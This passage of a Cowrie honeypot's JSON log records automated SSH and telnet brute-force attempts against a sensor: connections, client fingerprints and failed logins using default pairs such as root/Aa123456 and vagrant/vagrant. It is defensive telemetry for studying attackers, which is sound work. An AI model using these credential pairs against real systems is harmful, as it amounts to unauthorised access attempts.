{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:56.961932Z","src_ip":"172.237.20.62","session":"30a13f05fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.125780Z","src_ip":"172.237.20.62","session":"30a13f05fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.528519630432129,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.417846Z","src_ip":"45.219.84.173","session":"7528302bfae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34056,"dst_ip":"159.203.135.109","dst_port":22,"session":"68c1d0534a8c","protocol":"ssh","message":"New connection: 176.65.132.129:34056 (159.203.135.109:22) [session: 68c1d0534a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.551855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.555204Z","src_ip":"176.65.132.129","session":"68c1d0534a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.638922Z","src_ip":"176.65.132.129","session":"68c1d0534a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75d75fcd0c8","protocol":"telnet","message":"New connection: 45.58.127.90:40204 (10.17.0.5:23) [session: f75d75fcd0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.717944Z"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:58.882463Z","src_ip":"176.65.132.129","session":"68c1d0534a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:59.966204Z","src_ip":"176.65.132.129","session":"68c1d0534a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"4587e25fc53a","protocol":"telnet","message":"New connection: 45.58.127.90:40206 (10.17.0.5:23) [session: 4587e25fc53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:01.907224Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34064,"dst_ip":"159.203.135.109","dst_port":22,"session":"040769786bb3","protocol":"ssh","message":"New connection: 176.65.132.129:34064 (159.203.135.109:22) [session: 040769786bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:01.939309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:01.944391Z","src_ip":"176.65.132.129","session":"040769786bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:02.026713Z","src_ip":"176.65.132.129","session":"040769786bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c88f3a9913a","protocol":"telnet","message":"New connection: 45.58.127.90:40220 (10.17.0.5:23) [session: 3c88f3a9913a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:02.067328Z"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:02.273750Z","src_ip":"176.65.132.129","session":"040769786bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:03.493879Z","src_ip":"176.65.132.129","session":"040769786bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34068,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c084eb9805","protocol":"ssh","message":"New connection: 176.65.132.129:34068 (159.203.135.109:22) [session: 29c084eb9805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.347190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.351766Z","src_ip":"176.65.132.129","session":"29c084eb9805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.442430Z","src_ip":"176.65.132.129","session":"29c084eb9805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.784420Z","src_ip":"176.65.132.129","session":"29c084eb9805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":33162,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a453d8671b","protocol":"ssh","message":"New connection: 193.106.245.20:33162 (10.17.0.5:22) [session: f3a453d8671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.911422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:05.916276Z","src_ip":"193.106.245.20","session":"f3a453d8671b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:06.032884Z","src_ip":"193.106.245.20","session":"f3a453d8671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"qweasd","message":"login attempt [minecraft/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:06.548764Z","src_ip":"193.106.245.20","session":"f3a453d8671b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:06.871135Z","src_ip":"176.65.132.129","session":"29c084eb9805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45786,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2cb4986b13d","protocol":"ssh","message":"New connection: 172.237.20.62:45786 (159.203.135.109:22) [session: b2cb4986b13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:07.102019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:07.157579Z","src_ip":"172.237.20.62","session":"b2cb4986b13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:07.293774Z","src_ip":"172.237.20.62","session":"b2cb4986b13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:07.666656Z","src_ip":"193.106.245.20","session":"f3a453d8671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:07.888416Z","src_ip":"172.237.20.62","session":"b2cb4986b13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44628,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8de66c0492","protocol":"ssh","message":"New connection: 176.65.132.129:44628 (159.203.135.109:22) [session: 7c8de66c0492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:08.996901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:09.001449Z","src_ip":"176.65.132.129","session":"7c8de66c0492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:09.049833Z","src_ip":"172.237.20.62","session":"b2cb4986b13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:09.083526Z","src_ip":"176.65.132.129","session":"7c8de66c0492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:09.328942Z","src_ip":"176.65.132.129","session":"7c8de66c0492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:10.413605Z","src_ip":"176.65.132.129","session":"7c8de66c0492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44638,"dst_ip":"159.203.135.109","dst_port":22,"session":"918f23bbbf6a","protocol":"ssh","message":"New connection: 176.65.132.129:44638 (159.203.135.109:22) [session: 918f23bbbf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:12.475478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:12.480749Z","src_ip":"176.65.132.129","session":"918f23bbbf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:12.563116Z","src_ip":"176.65.132.129","session":"918f23bbbf6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:12.808986Z","src_ip":"176.65.132.129","session":"918f23bbbf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.509868144989014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:13.125077Z","src_ip":"8.222.212.211","session":"11f46d90e0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:13.999803Z","src_ip":"176.65.132.129","session":"918f23bbbf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.89050889015198,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:15.723641Z","src_ip":"45.58.127.90","session":"91216c78ed4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a2e84e85ff8","protocol":"ssh","message":"New connection: 176.65.132.129:43746 (159.203.135.109:22) [session: 1a2e84e85ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:15.937734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:15.942666Z","src_ip":"176.65.132.129","session":"1a2e84e85ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS